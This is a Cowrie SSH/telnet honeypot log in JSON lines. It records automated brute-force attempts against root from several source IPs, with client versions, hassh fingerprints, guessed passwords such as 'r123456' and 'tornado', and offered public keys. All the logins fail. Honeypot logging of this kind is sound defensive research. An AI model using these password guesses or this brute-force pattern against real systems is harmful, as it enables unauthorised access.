{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:53.223665Z","src_ip":"103.75.183.219","session":"e9f5965ce65b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikitos","message":"login attempt [root/nikitos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:53.978797Z","src_ip":"103.75.183.219","session":"e9f5965ce65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:55.235705Z","src_ip":"103.75.183.219","session":"e9f5965ce65b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":58846,"dst_ip":"10.17.0.5","dst_port":22,"session":"d34cd474a06f","protocol":"ssh","message":"New connection: 170.106.119.118:58846 (10.17.0.5:22) [session: d34cd474a06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:58.298162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:58.303778Z","src_ip":"170.106.119.118","session":"d34cd474a06f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:58.374000Z","src_ip":"170.106.119.118","session":"d34cd474a06f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r123456","message":"login attempt [root/r123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:58.682889Z","src_ip":"170.106.119.118","session":"d34cd474a06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:09:59.754915Z","src_ip":"170.106.119.118","session":"d34cd474a06f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43980,"dst_ip":"10.17.0.5","dst_port":23,"session":"3441a0815637","protocol":"telnet","message":"New connection: 152.42.224.71:43980 (10.17.0.5:23) [session: 3441a0815637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:00.531000Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":44724,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6671cc49399","protocol":"ssh","message":"New connection: 103.77.242.62:44724 (159.203.135.109:22) [session: f6671cc49399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:04.567231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:04.572976Z","src_ip":"103.77.242.62","session":"f6671cc49399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:04.816950Z","src_ip":"103.77.242.62","session":"f6671cc49399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tornado","message":"login attempt [root/tornado] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:05.553416Z","src_ip":"103.77.242.62","session":"f6671cc49399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:06.800733Z","src_ip":"103.77.242.62","session":"f6671cc49399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":38516,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dd43b421b0b","protocol":"ssh","message":"New connection: 43.153.22.143:38516 (10.17.0.5:22) [session: 1dd43b421b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:13.792685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:13.799510Z","src_ip":"43.153.22.143","session":"1dd43b421b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46810,"dst_ip":"10.17.0.5","dst_port":22,"session":"235f3f6b5f54","protocol":"ssh","message":"New connection: 103.122.221.179:46810 (10.17.0.5:22) [session: 235f3f6b5f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:13.848664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:13.854257Z","src_ip":"103.122.221.179","session":"235f3f6b5f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:13.868976Z","src_ip":"43.153.22.143","session":"1dd43b421b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:14.127175Z","src_ip":"103.122.221.179","session":"235f3f6b5f54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poop","message":"login attempt [root/poop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:14.184326Z","src_ip":"43.153.22.143","session":"1dd43b421b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.145.209","src_port":42556,"dst_ip":"10.17.0.5","dst_port":22,"session":"777068eb9de7","protocol":"ssh","message":"New connection: 217.154.145.209:42556 (10.17.0.5:22) [session: 777068eb9de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:14.520189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:14.534372Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:14.644288Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olechka","message":"login attempt [root/olechka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:14.944892Z","src_ip":"103.122.221.179","session":"235f3f6b5f54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:dd:21:20:2b:fb:49:22:08:e5:45:70:32:a4:a7:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTCcWJ1JDJvYBgDV2OmuNPmXzIBXbt0dhWrDP36eULytdujMoZDlB/gQOJy3OVLNcBBbAJrNxtn3aS0VwF3LK+2yZoQQZRVJ4tHg56zIv3M87c0sODR+bjERUOR4tbF+PVuBKwn8Sl8tP7JRXXSn8dLcZoku2GegvvRW+u6kvDXE14wbw6CT1HEOFnJrIOoaZ/9hs1s97B3gfI9jmNl2wfssxn2aA227Q0iI3QsrXOW/Qr4/DNkbpAcwSpBhWSchMPGezRFgoSJXGFOUPS+RnzGqGePi8OKE/e7pML+cAnAodL1QrZ5LI6o040FiKfUlDzJeA9cRZMXmer58mdOo0p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:dd:21:20:2b:fb:49:22:08:e5:45:70:32:a4:a7:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.117633Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:dd:21:20:2b:fb:49:22:08:e5:45:70:32:a4:a7:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTCcWJ1JDJvYBgDV2OmuNPmXzIBXbt0dhWrDP36eULytdujMoZDlB/gQOJy3OVLNcBBbAJrNxtn3aS0VwF3LK+2yZoQQZRVJ4tHg56zIv3M87c0sODR+bjERUOR4tbF+PVuBKwn8Sl8tP7JRXXSn8dLcZoku2GegvvRW+u6kvDXE14wbw6CT1HEOFnJrIOoaZ/9hs1s97B3gfI9jmNl2wfssxn2aA227Q0iI3QsrXOW/Qr4/DNkbpAcwSpBhWSchMPGezRFgoSJXGFOUPS+RnzGqGePi8OKE/e7pML+cAnAodL1QrZ5LI6o040FiKfUlDzJeA9cRZMXmer58mdOo0p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.121906Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:c3:7b:c4:92:7f:a4:12:fd:34:dc:26:6a:a3:60:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyEI6UDCS8pQoLuUegK7fw5B+qZPOA6lXIiJDrL7gvJk0BswoydAP9kAuHJTdbt/THd8A3DAmhIM9XvSUwwLBn7oJWWfz7aeaxs6rrpHoW5gPmOWETHvyy/eUPFSK/N9HUoagTG+SYlBVUm61dJnavmOCp9gSBEfOUAjaat8pQqTzq+z1+lzHK69wy4Z4dIo1aXDRuYhmSoTxPOrVbnfqcB+FvS+ruEJdbYl7PT5s0WbRcTEfQik000vYo6Q8/rciCIruKQECRsVkmKp2gnYvl4Znl7jnlfQhwdYUnPx7nC5TXorH3s85/BsPFrnDR6Np1MP9MI71mdfUx1tyC/Tp1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:c3:7b:c4:92:7f:a4:12:fd:34:dc:26:6a:a3:60:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.219397Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:c3:7b:c4:92:7f:a4:12:fd:34:dc:26:6a:a3:60:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyEI6UDCS8pQoLuUegK7fw5B+qZPOA6lXIiJDrL7gvJk0BswoydAP9kAuHJTdbt/THd8A3DAmhIM9XvSUwwLBn7oJWWfz7aeaxs6rrpHoW5gPmOWETHvyy/eUPFSK/N9HUoagTG+SYlBVUm61dJnavmOCp9gSBEfOUAjaat8pQqTzq+z1+lzHK69wy4Z4dIo1aXDRuYhmSoTxPOrVbnfqcB+FvS+ruEJdbYl7PT5s0WbRcTEfQik000vYo6Q8/rciCIruKQECRsVkmKp2gnYvl4Znl7jnlfQhwdYUnPx7nC5TXorH3s85/BsPFrnDR6Np1MP9MI71mdfUx1tyC/Tp1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.225911Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.259930Z","src_ip":"43.153.22.143","session":"1dd43b421b0b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:ef:a5:6f:d1:69:1c:ff:70:7a:0e:08:99:74:db:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+LxbMvnbNEAtQQHlNnO0/vPzT6JWNRUA7JCF5JEcnRZ1pfyCr1p6gp1RC/CxxOgZU6RranWf9EAiG4mpoR7yg9sFnohIWtScBsA5G1KwygTeyavDwlX/GzYZUGJDHO3XpsC15+xNQmMWXQBVn0/fcZh67pEoOuWH7EqgH20EMUZK2J3JTLFHltsgLx9xfGBcpqRZUjdDf8sjneHpEotOSrble+JVekfcAOJmTcNTe0NcUyM/yKA9BmrEEZGTQfQwLHNaegSSe8Ur0E0u/v4D+kL2DJyUsNQmJIQmlONnJToly2fOMOoxXrQNskWHTizfSeAI9hO0dUdwXgANM8xwn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:ef:a5:6f:d1:69:1c:ff:70:7a:0e:08:99:74:db:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.339070Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:ef:a5:6f:d1:69:1c:ff:70:7a:0e:08:99:74:db:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+LxbMvnbNEAtQQHlNnO0/vPzT6JWNRUA7JCF5JEcnRZ1pfyCr1p6gp1RC/CxxOgZU6RranWf9EAiG4mpoR7yg9sFnohIWtScBsA5G1KwygTeyavDwlX/GzYZUGJDHO3XpsC15+xNQmMWXQBVn0/fcZh67pEoOuWH7EqgH20EMUZK2J3JTLFHltsgLx9xfGBcpqRZUjdDf8sjneHpEotOSrble+JVekfcAOJmTcNTe0NcUyM/yKA9BmrEEZGTQfQwLHNaegSSe8Ur0E0u/v4D+kL2DJyUsNQmJIQmlONnJToly2fOMOoxXrQNskWHTizfSeAI9hO0dUdwXgANM8xwn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.344966Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:ab:76:da:79:66:25:f0:dd:a2:3e:c7:c1:b4:c0:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt2BXvVTuVOaHoW62DwUyfn8efADjyR0SPNHHAmigoeEX/aCBzw03dbk9uMMzjjXtPabQQQSNMGfM8v6j8NdmGgMRjwpLumx1OSlOwa9rvaDJkfAyM3miKY7xFCCqVqDJqcYNfzhNUEUD6OVION+cGFoL6mN+D1+IOCPlvKO5Arx8s8B/vTYUpBdfjnDIFT/uwPDkX+MkcqG7ITvfnTyPnlzWar5jCw1XUtU1vFO/JRt5ClHBpZl7tC1m0hBCaFixrKiJaUHBVAKAQeD8+G8aGjL7f2rHr72SOv8/eosnGcDt2WgOz8gb7KwPUIkCm/1RHi2Pti9SpgS7UHRTQ/lUL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:ab:76:da:79:66:25:f0:dd:a2:3e:c7:c1:b4:c0:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.450562Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:ab:76:da:79:66:25:f0:dd:a2:3e:c7:c1:b4:c0:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt2BXvVTuVOaHoW62DwUyfn8efADjyR0SPNHHAmigoeEX/aCBzw03dbk9uMMzjjXtPabQQQSNMGfM8v6j8NdmGgMRjwpLumx1OSlOwa9rvaDJkfAyM3miKY7xFCCqVqDJqcYNfzhNUEUD6OVION+cGFoL6mN+D1+IOCPlvKO5Arx8s8B/vTYUpBdfjnDIFT/uwPDkX+MkcqG7ITvfnTyPnlzWar5jCw1XUtU1vFO/JRt5ClHBpZl7tC1m0hBCaFixrKiJaUHBVAKAQeD8+G8aGjL7f2rHr72SOv8/eosnGcDt2WgOz8gb7KwPUIkCm/1RHi2Pti9SpgS7UHRTQ/lUL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:15.455323Z","src_ip":"217.154.145.209","session":"777068eb9de7","protocol":"ssh"}
